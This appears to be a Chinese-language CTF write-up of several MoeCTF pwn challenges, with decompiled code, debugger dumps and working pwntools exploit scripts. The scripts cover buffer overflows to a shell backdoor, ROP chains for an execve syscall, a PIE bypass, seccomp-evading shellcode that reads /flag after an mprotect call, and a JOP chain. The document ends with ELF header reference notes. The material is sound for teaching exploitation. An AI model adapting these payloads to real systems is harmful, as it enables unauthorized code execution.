FILE *stream; // [rsp+8h] [rbp-118h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("It opened—how did you do that?");
stream = fopen("./flag", "r");
fgets(s, 100, stream);
puts(s);
return v3 - __readfsqword(0x28u);
}
void __noreturn lose()
{
puts("Incorrect password.");
exit(0);
}

模仿即可

#include <stdio.h>
#include <stdlib.h>
int seed;
int main(int argc, const char **argv, const char **envp){
int v4; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int v6; // [rsp+14h] [rbp-Ch]
unsigned int v7;
//init(argc, argv, envp);
//initseed();
srand(seed);
puts("My lock looks strange—can you help me?");
for ( int i = 1; i <= 10; ++i ){
printf("password %2d >", i);
v6 = rand() % 10000;
printf(" %d\n",v6);
}
return 0;
}
My lock looks strange—can you help me?
password 1 > 9383
password 2 > 886
password 3 > 2777
password 4 > 6915
password 5 > 7793
password 6 > 8335
password 7 > 5386
password 8 > 492
password 9 > 6649
password 10 > 1421
ubuntu@LAPTOP-RA1SUD0S:~/Moectf/randomlock$ ./pwn
My lock looks strange—can you help me?
password 1
>9383
password 2
>886
password 3
>2777
password 4
>6915
password 5
>7793
password 6
>8335
password 7
>5386
password 8
>492
password 9
>6649
password 10
>1421
It opened—how did you do that?
hello pwner flag is accessable

syslock

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
write(1, "My lock looks strange—can you help me?\n", 0x29uLL);
write(1, "choose mode\n", 0xCuLL);
i = input();
if ( i > 4 )
lose();
write(1, "Input your password\n", 0x14uLL);
read(0, (char *)&s + i, 0xCuLL);
if ( i != 59 )
lose();
cheat();
return 0;
}
ssize_t cheat()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

write(1, "Developer Mode.\n", 0x10uLL);
return read(0, buf, 0x100uLL);
}
.bss:0000000000404080 i               dd ?                    ; DATA XREF: main+4E↑w
.bss:0000000000404080 ; main+54↑r ...
.bss:0000000000404084 align 20h
.bss:00000000004040A0 public s
.bss:00000000004040A0 s db ? ; ; DATA XREF: main+8A↑o
.bss:00000000004040A1 db ? ;
.bss:00000000004040A2 db ? ;
...
.bss:00000000004040EE db ? ;
.bss:00000000004040EF db ? ;
.bss:00000000004040EF _bss ends

i<=4i=59不可能同时达到,显然是在read(0, (char *)&s + i, 0xCuLL);这里修改,si差0x20,也就是32

没有后门函数,要想用system和/bin/sh,此时只能写在栈上,获得/bin/sh00的地址就有点不现实,要是能写在bss段上就好了

于是我们利用ret2text使函数回到第二次写入bss段的地址,此时i还是0x3b,可以通过检查

于是我们将/bin/sh00写入,

第二次写入时利用gadget将rax改为0x3b,此时syscall就会实现execve

将rsi、rdx设为0,此时syscall就会实现system

在利用gadget将/bin/sh00弹入rdi,这样就可以实现system(“/bin/sh”)

pwndbg> tele 0x4040db
00:0000│ rsi 0x4040db (s+59) ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ 0x4040e3 (s+67) ◂— 0xa /* '\n' */
02:0010│ 0x4040eb (s+75) ◂— 0
p = start()
p.recvuntil(b"choose mode\n")
p.sendline(b'-32')
p.recvuntil(b"Input your password\n")
p.sendline(p64(0x3b))
p.recvuntil(b'Developer Mode.\n')
payload1=b'a'*0x48+p64(0x401324)
p.sendline(payload)

pop_rax_ret_addr = 0x401244 # pop rax; ret
pop_rdi_rsi_rdx_ret_addr = 0x40123C # pop rdi; pop rsi; pop rdx; ret
syscall = 0x401230 # syscall 地址
bss_addr = 0x4040db # bss段地址
bin_sh = b'/bin/sh\x00'
payload2 = b'A' * 0x48
payload2 += p64(pop_rax_ret_addr)
payload2 += p64(0x3b) # rax = 0x3b (execve系统调用号)
payload2 += p64(pop_rdi_rsi_rdx_ret_addr)
payload2 += p64(bss_addr) # rdi = 指向/bin/sh的地址
payload2 += p64(0) # rsi = NULL
payload2 += p64(0) # rdx = NULL
payload2 += p64(syscall)
p.recvuntil(b"Input your password\n")
p.sendline(bin_sh)
p.recvuntil(b'Developer Mode.\n')
p.sendline(payload2)
p.interactive()

str_check

int __fastcall main(int argc, const char **argv, const char **envp)
{
char dest[24]; // [rsp+0h] [rbp-20h] BYREF
size_t n; // [rsp+18h] [rbp-8h] BYREF

init(argc, argv, envp);
puts("What can u say?");
__isoc99_scanf("%255s", str);
puts("So,what size is it?");
__isoc99_scanf("%zu", &n);
len = strlen(str);
if ( (unsigned __int64)len > 0x18 )
{
puts("Oh,too much.");
exit(1);
}
if ( !strncmp(str, "meow", 4uLL) )
memcpy(dest, str, n);
else
strncpy(dest, str, n);
puts("You're right.");
return 0;
}
.text:0000000000401236 ; int backdoor()
.text:0000000000401236 public backdoor
.text:0000000000401236 backdoor proc near
.text:0000000000401236 ; __unwind {
.text:0000000000401236 endbr64
.text:000000000040123A push rbp
.text:000000000040123B mov rbp, rsp
.text:000000000040123E lea rax, command ; "/bin/sh"
.text:0000000000401245 mov rdi, rax ; command
.text:0000000000401248 call _system
.text:000000000040124D nop
.text:000000000040124E pop rbp
.text:000000000040124F retn
.text:000000000040124F ; } // starts at 401236
.text:000000000040124F backdoor endp
1. strcpy(dest, src)
  • 功能:将源字符串src复制到目标缓冲区dest,包括'\0'
  • '\0'处理
    • 会自动复制源字符串末尾的'\0'dest中。
    • 风险:不检查dest的容量,如果src长度超过dest可容纳的空间,会导致缓冲区溢出('\0'也可能越界写入)。
2. strncpy(dest, src, n)
  • 功能:最多复制n个字节从srcdest

  • '\0'处理

    • 如果src的长度小于n:会复制src的全部内容(包括'\0'),并在剩余空间填充'\0'直到总长度为n
    • 如果src的长度大于等于n:只复制前n个字节,不会添加'\0',此时dest可能不是一个有效的字符串(缺少结束标志)。
  • 注意:使用后需手动确保dest'\0'结尾,例如

    strncpy(dest, src, n);
    dest[n-1] = '\0'; // 强制添加结束符(避免溢出)

3. strcat(dest, src)
  • 功能:将src追加到dest末尾(覆盖dest原有的'\0')。
  • '\0'处理
    • 首先找到dest中已有的'\0',从该位置开始复制src的内容(包括src'\0')。
    • 风险:不检查dest的剩余空间,若dest容量不足,会导致缓冲区溢出。
4. strncat(dest, src, n)
  • 功能:最多将src的前n个字符追加到dest末尾。
  • '\0'处理
    • 无论是否复制了n个字符,最终都会在dest末尾添加一个'\0'
    • src长度小于n,则复制全部src内容(包括其'\0')后,不再额外添加'\0'(避免重复)。
  • 安全性:比strcat更安全,因为限制了追加长度,且确保dest'\0'结尾。
5. memcpy(dest, src, n)
  • 功能:从src复制n个字节到dest(对所有数据类型通用,不仅限于字符串)。
  • '\0'处理
    • 完全不处理'\0''\0'仅被视为普通字节,若src中包含'\0'且在n范围内,会被正常复制。
    • 不会自动添加'\0':即使src是字符串,复制后dest也可能缺少结束标志(除非n包含src'\0')。
  • 风险:若用于字符串复制且n超过实际长度,可能导致dest'\0'结束符,后续操作(如printf)会越界访问。
6. strlen(s)
  • 功能:计算字符串s的长度(不包含'\0')。
  • '\0'处理
    • s的首地址开始计数,直到遇到'\0'停止('\0'是终止条件)。
    • s中没有'\0',会一直访问到非法内存,导致未定义行为(如程序崩溃)。
7. strcmp(s1, s2)strncmp(s1, s2, n)
  • 功能:比较字符串(strcmp比较到'\0'为止,strncmp最多比较n个字符)。
  • '\0'处理
    • strcmp:当任一字符串遇到'\0'时停止比较。
    • strncmp:若在n个字符内遇到'\0',会将其视为小于任何非'\0'字符(按 ASCII 值,'\0'为 0)。
p = start()
p.recvuntil(b"What can u say?\n")
payload=b'meow\0'+b'a'*19+b'0'*16+p64(0x40123e) #len=4,执行memcpy
p.sendline(payload)
p.recvuntil(b"So,what size is it?\n")
p.sendline(str(len(payload)))
p.interactive()

xdulaker

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
menu();
while ( 1 )
{
while ( 1 )
{
putchar(62);
__isoc99_scanf("%d", &opt);
if ( opt != 1 )
break;
pull();
}
if ( opt == 2 )
{
photo();
}
else
{
if ( opt != 3 )
exit(0);
laker();
}
}
}
int menu()
{
puts("A freshman has walked into the lake.");
puts("1.Pull him out");
puts("2.Take a photo of him");
puts("3.Walk into the lake.");
return puts("Your choice");
}
int pull()
{
return printf("Thanks,I'll give you a gift:%p\n", &opt);
}
int photo()
{
_BYTE buf[80]; // [rsp+0h] [rbp-50h] BYREF

puts("Hey,what's your name?!");
read(0, buf, 0x40uLL);
return puts("I will teach you a lesson.");
}
ssize_t laker()
{
_BYTE s1[48]; // [rsp+0h] [rbp-30h] BYREF

if ( memcmp(s1, "xdulaker", 8uLL) )
{
puts("You are not him.");
exit(0);
}
puts("welcome,xdulaker");
return read(0, s1, 0x100uLL);
}

先选一接收opt_addr,再选2写入能使选3能成功执行的payload,最后选三实现ret2text

注意到// [rsp+0h] [rbp-50h] BYREF// [rsp+0h] [rbp-30h] BYREF,中间插入0x20个字符就可以了

00:0000│ rsi rsp 0x7ffe4160bea0 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 3 skipped
04:0020│-030 0x7ffe4160bec0 ◂— 0x72656b616c756478 ('xdulaker')
05:0028│-028 0x7ffe4160bec8 —▸ 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1
06:0030│-020 0x7ffe4160bed0 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched'
07:0038│-018 0x7ffe4160bed8 ◂— 0
08:0040│-010 0x7ffe4160bee0 —▸ 0x7ffe4160bf00 ◂— 1
09:0048│-008 0x7ffe4160bee8 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched'
0a:0050│ rbp 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1
0b:0058│+008 0x7ffe4160bef8 —▸ 0x61d51ba5c448 (main+112) ◂— jmp main+28
00:0000│ rax rdi rsp 0x7ffe4160bec0 ◂— 0x72656b616c756478 ('xdulaker')
01:0008│-028 0x7ffe4160bec8 —▸ 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1
02:0010│-020 0x7ffe4160bed0 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched'
03:0018│-018 0x7ffe4160bed8 ◂— 0
04:0020│-010 0x7ffe4160bee0 —▸ 0x7ffe4160bf00 ◂— 1
05:0028│-008 0x7ffe4160bee8 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched'
06:0030│ rbp 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1
07:0038│+008 0x7ffe4160bef8 —▸ 0x61d51ba5c45f (main+135) ◂— jmp main+28

利用固定偏移找到backdoor真实地址,就可以实现PIE绕过

.data:0000000000004010                 public opt
.data:0000000000004010 opt dd 5 ; DATA XREF: pull+8↑o
.data:0000000000004010 ; main+26↑o ...
.data:0000000000004010 _data ends
.text:0000000000001249                 public backdoor
.text:0000000000001249 backdoor proc near
.text:0000000000001249 ; __unwind {
.text:0000000000001249 endbr64
.text:000000000000124D push rbp
.text:000000000000124E mov rbp, rsp
.text:0000000000001251 lea rax, command ; "/bin/sh"
.text:0000000000001258 mov rdi, rax ; command
.text:000000000000125B call _system
.text:0000000000001260 nop
.text:0000000000001261 pop rbp
.text:0000000000001262 retn
.text:0000000000001262 ; } // starts at 1249
.text:0000000000001262 backdoor endp
p = start()
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b"Thanks,I'll give you a gift:")
opt_bytes=p.recvuntil(b'\n')
opt_addr_str = opt_bytes.strip().decode('utf-8')
opt_addr = int(opt_addr_str, 16)
log.success(hex(opt_addr))
data_base=opt_addr-0x10

p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b"Hey,what's your name?!\n")
payload1=b'a'*0x20+b'xdulaker'
p.send(payload1)

p.recvuntil(b'>')
p.sendline(b'3')
backdoor_addr=0x1251+data_base-0x4000
log.success(hex(backdoor_addr))
payload2=b'A'*0x38+p64(backdoor_addr)
p.send(payload2)
p.interactive()

shellbox

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[4]; // [rsp+8h] [rbp-8h] BYREF
int n9; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
sandbox();
n9 = 0;
puts("You have a box, fill it.");
read(0LL, &buf, 256LL);
puts("Now, leave your name..");
while ( n9 != 1 )
{
if ( n9 > 9 )
{
puts("Why is it so long?");
break;
}
putchar(62LL);
read(0LL, &v4[8 * n9++], 8LL);
}
puts("Bye!");
return 0;
}
__int64 sandbox()
{
int v0; // r8d
int v1; // r9d
int v2; // r8d
int v3; // r9d
__int64 v5; // [rsp+8h] [rbp-8h]

v5 = seccomp_init(2147418112LL);
seccomp_rule_add(v5, 0, 59, 0, v0, v1);
seccomp_rule_add(v5, 0, 2, 0, v2, v3);
return seccomp_load(v5);
}
.bss:00000000004CEB60                 public buf
.bss:00000000004CEB60 buf db ? ; ; DATA XREF: main+3B↑o
.bss:00000000004CEB61 db ? ;
.bss:00000000004CEB62 db ? ;
...
.bss:00000000004CEC5E db ? ;
.bss:00000000004CEC5F db ? ;
ubuntu@LAPTOP-RA1SUD0S:~/Moectf/shellbox$ checksec pwn
[*] '/home/ubuntu/Moectf/shellbox/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
ubuntu@LAPTOP-RA1SUD0S:~/Moectf/shellbox$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008
0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

这题是静态链接,尽管开了NX但是可以使用mprotect开权限

先在bss段上布置shellcode,再想办法使用mprotect

先进行n9的绕过,第一次恰好是修改rbp-0x8,将n9改为1即可

因为我们人为增加了n9,所以第二次改的是rbp+0x8,构造ROP链即可

先用gadget把参数传递好,再调用mprotect,再调用shellcode

执行前

00:0000│ rsp 0x7ffff8a938b0 —▸ 0x4ceb60 (buf) ◂— 0x67616c662fb848
0x4cd000           0x4cf000 rw-p     2000   cd000 Moectf/shellbox/pwn

执行后

00:0000│ rsp 0x7ffff8a938b0 —▸ 0x4ceb60 (buf) ◂— movabs rax, 0x67616c662f /* 0x67616c662fb848 */
0x4ce000           0x4cf000 rwxp     1000   ce000 Moectf/shellbox/pwn

shellcode的构造就省略了

p=start()
p.recvuntil(b"You have a box, fill it.")
shellcode ="""
mov rax,0x0067616c662f
push rax
mov rsi,rsp
xor rdx,rdx
mov rax,257
syscall
xor rdi,rdi
inc rdi
mov rsi,rax
xor rdx,rdx
mov r10,0x100
mov rax,40
syscall
"""
#shell=asm(shellcode)
#p.send(shell+p64(0)*0x10)
p.send(b'H\xb8/flag\x00\x00\x00PH\x89\xe6H1\xd2H\xc7\xc0\x01\x01\x00\x00\x0f\x05H1\xffH\xff\xc7H\x89\xc6H1\xd2I\xc7\xc2\x00\x01\x00\x00H\xc7\xc0(\x00\x00\x00\x0f\x05')
p.recvuntil(b">")
p.send(p64(0x000100000001))

p.recvuntil(b">")
p.send(p64(0x401a40)) #pop rdi
p.recvuntil(b">")
p.send(p64(0x4CE000)) #addr

p.recvuntil(b">")
p.send(p64(0x401a42)) #pop rsi
p.recvuntil(b">")
p.send(p64(0x1000)) #size

p.recvuntil(b">")
p.send(p64(0x401a44)) #pop rdx
p.recvuntil(b">")
p.send(p64(0x7)) #read,write,execve

p.recvuntil(b">")
p.send(p64(0x443520)) #mprotect
p.recvuntil(b">")
p.send(p64(0x4CEB60)) #shellcode

p.interactive()

JOP

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0LL);
puts("[[ Programmable MoeBot v1.0 ]]\nPlease specify the gestures.");
program();
printf("Registered %zu gestures. Executing the program...\n", n_gestures);
execute(&gestures);
exit(0);
}
unsigned __int64 program()
{
unsigned __int64 result; // rax
int v1; // [rsp+Ch] [rbp-14h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = 0LL;
while ( (unsigned __int64)n_gestures <= 7 )
{
puts("0. Finish\n1. Walk\n2. Wave Hands\n3. Jump\n4. Turn around\n5. Stand still");
printf("Choose your gesture: ");
if ( (int)_isoc99_scanf("%u", &v1) <= 0 )
exit(1);
switch ( v1 )
{
case 0:
goto LABEL_15;
case 1:
gestures[v2] = walk;
++n_gestures;
goto LABEL_11;
case 2:
gestures[v2] = wave_hands;
++n_gestures;
goto LABEL_11;
case 3:
gestures[v2] = jump;
++n_gestures;
goto LABEL_11;
case 4:
gestures[v2] = turn;
++n_gestures;
goto LABEL_11;
case 5:
gestures[v2] = stand_still;
++n_gestures;
LABEL_11:
printf("What should I say after this gesture? ");
getchar();
if ( !fgets(&talks[16 * v2], 16, stdin) )
exit(1);
return result;
default:
puts("Invalid choice, try again.");
break;
}
++v2;
}
LABEL_15:
result = v3 - __readfsqword(0x28u);
if ( result )
_stack_chk_fail();
return result;
}
__int64 __fastcall execute(__int64 a1)
{
__int64 n_gestures; // rax
unsigned __int64 i; // [rsp+10h] [rbp-10h]

for ( i = 0LL; ; ++i )
{
n_gestures = n_gestures;
if ( i >= n_gestures )
break;
(*(void (**)(void))(8 * i + a1))();
printf("%s", &talks[16 * i]);
sleep(1u);
}
return n_gestures;
}
.bss:0000000000404040                 public n_gestures
.bss:0000000000404040 n_gestures dq ? ; DATA XREF: execute:loc_40117D↑r
.bss:0000000000404040 ; program+C5↑r ...
.bss:0000000000404048 align 20h
.bss:0000000000404060 public talks
.bss:0000000000404060 ; char talks[128]
.bss:0000000000404060 talks db 80h dup(?) ; DATA XREF: execute+45↑o
.bss:0000000000404060 ; program+1E6↑o
.bss:00000000004040E0 public gestures
.bss:00000000004040E0 ; _QWORD gestures[8]
.bss:00000000004040E0 gestures dq 8 dup(?) ; DATA XREF: program+B3↑o
.bss:00000000004040E0 ; program+E8↑o ...
.bss:00000000004040E0 _bss ends
.prgend:0000000000404120 ;

我们从program中发现选择无效值,就可以使v2增加,达到在gestures后面写

先选择8次无效值使v2变为8,此时talk恰好落在gestures上,可以被execute执行,而原来的gestures被放在后面

于是可以构造JOP链,观察到

.text:0000000000401231                 public gift
.text:0000000000401231 gift proc near
.text:0000000000401231 ; __unwind {
.text:0000000000401231 endbr64
.text:0000000000401235 mov rax, rdi
.text:0000000000401238 mov rdi, [rax+8]
.text:000000000040123C call qword ptr [rax+10h]
.text:000000000040123F retn
.text:000000000040123F gift endp
.text:0000000000401228                 call    cs:system_ptr

可以将rax+0x8作为参数,然后执行rax+0x10

于是先写入gift地址,再写入/bin/sh00地址,再写入call system,即可完成

pwndbg> tele 0x4040E0
00:0000│ 0x4040e0 (gestures) —▸ 0x401231 (gift) ◂— endbr64
01:0008│ 0x4040e8 (gestures+8) —▸ 0x404110 (gestures+48) ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│ 0x4040f0 (gestures+16) —▸ 0x401228 (unreachable+18) ◂— call qword ptr [rip + 0x2d92]
03:0018│ 0x4040f8 (gestures+24) ◂— 0xa /* '\n' */
04:0020│ 0x404100 (gestures+32) —▸ 0x401228 (unreachable+18) ◂— call qword ptr [rip + 0x2d92]
05:0028│ 0x404108 (gestures+40) ◂— 0xa /* '\n' */
06:0030│ 0x404110 (gestures+48) ◂— 0x68732f6e69622f /* '/bin/sh' */
07:0038│ 0x404118 (gestures+56) ◂— 0xa /* '\n' */
pwndbg>
08:0040│ 0x404120 ◂— 0x68732f6e69622f /* '/bin/sh' */
09:0048│ 0x404128 —▸ 0x40000a ◂— 0x2000000000000
0a:0050│ 0x404130 ◂— 0x68732f6e69622f /* '/bin/sh' */
0b:0058│ 0x404138 —▸ 0x40000a ◂— 0x2000000000000
0c:0060│ 0x404140 ◂— 0x68732f6e69622f /* '/bin/sh' */
0d:0068│ 0x404148 —▸ 0x40000a ◂— 0x2000000000000
0e:0070│ 0x404150 ◂— 0x68732f6e69622f /* '/bin/sh' */
0f:0078│ 0x404158 —▸ 0x40000a ◂— 0x2000000000000
p = start()
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"6")

p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(p64(0x401231)+b'\x10\x41\x40\x00\x00\x00\x00')

p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(p64(0x401228))

p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(p64(0x401228))

p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(b'/bin/sh\x00')

p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(b'/bin/sh\x00')
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(b'/bin/sh\x00')
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(b'/bin/sh\x00')
p.recvuntil(b"Choose your gesture: ")
p.sendline(b"1")
p.recvuntil(b"What should I say after this gesture? ")
p.sendline(b'/bin/sh\x00')

p.interactive()

Ret2dlresolve

这个还没有理解完全,题解写的不是太完全太好,望理解,wp在最后面

int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
vuln();
return 0;
}
ssize_t vuln()
{
_BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF

return read(0, buf, 0x100uLL);
}
.text:0000000000401156 ; void magic()
.text:0000000000401156 public magic
.text:0000000000401156 magic proc near
.text:0000000000401156 ; __unwind {
.text:0000000000401156 endbr64
.text:000000000040115A push rbp
.text:000000000040115B mov rbp, rsp
.text:000000000040115E pop rdi
.text:000000000040115F retn
.text:000000000040115F magic endp
.text:000000000040115F
.text:0000000000401160 ; ---------------------------------------------------------------------------
.text:0000000000401160 pop rsi
.text:0000000000401161 retn
.text:0000000000401161 ; ---------------------------------------------------------------------------
.text:0000000000401162 db 90h
.text:0000000000401163 ; ---------------------------------------------------------------------------
.text:0000000000401163 pop rbp
.text:0000000000401164 retn
.text:0000000000401164 ; } // starts at 401156

没有后门,也没有任何信息泄露,只有写入足够多内容的能力,是NO RELRO或Partial RELRO,这时候可以使用Ret2dlresolve

ELF Header

32位
/* The ELF file header.  This appears at the start of every ELF file.  */

#define EI_NIDENT (16)

typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
64位
typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf64_Half e_type;
Elf64_Half e_machine;
Elf64_Word e_version;
Elf64_Addr e_entry;
Elf64_Off e_phoff;
Elf64_Off e_shoff; // 重要: 我们下一步的解析目标就从这里开始,这个段表的文件内偏移
Elf64_Word e_flags;
Elf64_Half e_ehsize;
Elf64_Half e_phentsize;
Elf64_Half e_phnum;
Elf64_Half e_shentsize;
Elf64_Half e_shnum; // 重要: 这里给出了段表中的表项的个数
Elf64_Half e_shstrndx; // 重要: 这里给出了段表中引用的用于表示段名的字符串表的段表项索引
} Elf64_Ehdr;

它们的内容结构其实是一样的(不是全部,可以基本认为是完全等价的),只是存储宽度不一样而已

  • e_ident:ELF 文件的魔数和其他信息。

  • 前 4 字节为 ELFMAG\x7fELF

  • 第 5 字节为 ELF 文件类型,值为 ELFCLASS32(1) 代表 32 位,值为 ELFCLASS64(2) 代表 64 位。

  • 第 6 字节为 ELF 的字节序,0 为无效格式,1 为小端格式,2 为大端格式.。

  • 第 7 字节为 ELF 版本,一般为 1 ,即 1.2 版本。

  • 后面 9 字节没有定义一般填 0 ,有些平台会使用这 9 个字节作为扩展标志。

  • e_type:表示ELF文件类型,如可执行文件、共享对象文件(.so)、可重定位文件(.o)等。

  • e_machine:表示目标体系结构,即程序的目标平台,如 x86、ARM 等。相关常量以 EM_ 开头。

  • e_version:ELF 文件版本号,一般为常数 1 。

  • e_entry:表示程序入口点虚拟地址。操作系统加载完程序后从这个地址开始执行进程的命令。可重定位文件一般没有入口地址,则这个值为 0

  • e_phoff:表示程序头表的文件偏移量。

  • e_shoff:表示节表的文件偏移量。

  • e_flags:表示处理器特定标志。

  • e_ehsize:表示 ELF 文件头的大小。

  • e_phentsize:表示程序头表中每个表项的大小。

  • e_phnum:表示程序头表中表项的数量。

  • e_shentsize:表示节表中每个表项的大小。

  • e_shnum:表示节表中表项的数量。

  • e_shstrndx表示节表中字符串表的索引。

ELF Section Header Table

32位
 typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;
64位
typedef struct {
Elf64_Word sh_name; //1
Elf64_Word sh_type;
Elf64_Xword sh_flags;
Elf64_Addr sh_addr;
Elf64_Off sh_offset;
Elf64_Xword sh_size;
Elf64_Word sh_link;
Elf64_Word sh_info;
Elf64_Xword sh_addralign;
Elf64_Xword sh_entsize;
} Elf64_Shdr;
  • sh_name表示节的名称在字符串表中的索引。字符串表节存储了所有节的名称,sh_name 指定了节的名称在字符串表中的位置。
  • sh_type表示节的类型,指定了节的用途和属性。
Name Value
SHT_NULL 0
SHT_PROGBITS : 程序/数据/ 1
SHT_SYMTAB : 符号表 2
SHT_STRTAB : 字符串表 3
SHT_RELA : 重定位表 4
SHT_HASH: HASH 表 5
SHT_DYNAMIC: 动态链接 6
SHT_NOTE : 注释 7
SHT_NOBITS: 不存在于文件中 8
SHT_REL : 重定位的一些信息 9
SHT_SHLIB 10
SHT_DYNSYM : 动态链接的符号表 11
SHT_INIT_ARRAY 14
SHT_FINI_ARRAY 15
SHT_PREINIT_ARRAY 16
SHT_GROUP 17
SHT_SYMTAB_SHNDX 18
SHT_LOOS 0x60000000
SHT_HIOS 0x6fffffff
SHT_LOPROC 0x70000000
SHT_HIPROC 0x7fffffff
SHT_LOUSER 0x80000000
SHT_HIUSER 0xffffffff
  • sh_flags:表示节的标志,用于描述节的特性和属性。标志的具体含义取决于节的类型和上下文。

  • sh_addr:表示节的虚拟地址,只在可执行文件中有意义。对于可执行文件,sh_addr 指定了节在内存中的加载地址,如果该节不可被加载,则该值为 0 。

  • sh_offset:表示节在文件中的偏移量,指定了节在文件中的位置。对于 bss 段来说该值没有意义。

  • sh_size:表示节的大小,指定了节所占据的字节数。

  • sh_link:表示链接到的其他节的索引,用于建立节之间的关联关系,具体含义依赖于节的类型。

  • sh_info:附加信息,具体含义依赖于节的类型。

  • sh_addralign:表示节的地址对齐要求,指定了节在内存中的对齐方式。即 sh_addr 需要满足 sh_addrmod  2sh_addralign=0sh_addrmod2sh_addralign=0 。如果 sh_addralign 为 0 或 1 表示该段没有对齐要求。

  • sh_entsize:表示节中每个项的大小,如果该字段为 0 说明节中不包含固定大小的项。

ELF 中常见的节如下:

  • .text:代码段(Code Section),用于存储程序的可执行指令。

  • .rodata:只读数据段(Read-Only Data Section),用于存储只读的常量数据,例如字符串常量。

  • .data:数据段(Data Section),用于存储已初始化的全局变量和静态变量。

  • .bss:未初始化的数据段(Block Started by Symbol),用于存储未初始化的全局变量和静态变量。它不占用实际的文件空间,而是在运行时由系统自动初始化为零。

  • .symtab:符号表节(Symbol Table Section),用于存储程序的符号表信息,包括函数、变量和其他符号的名称、类型和地址等。

  • .strtab:字符串表节(String Table Section),用于存储字符串数据,如节名称、符号名称等。字符串表节被多个其他节引用,通过偏移量和索引来访问具体的字符串。

  • .rel.text.rela.text:代码重定位节(Relocation Section),用于存储代码段中的重定位信息,以便在链接时修正代码中的符号引用。

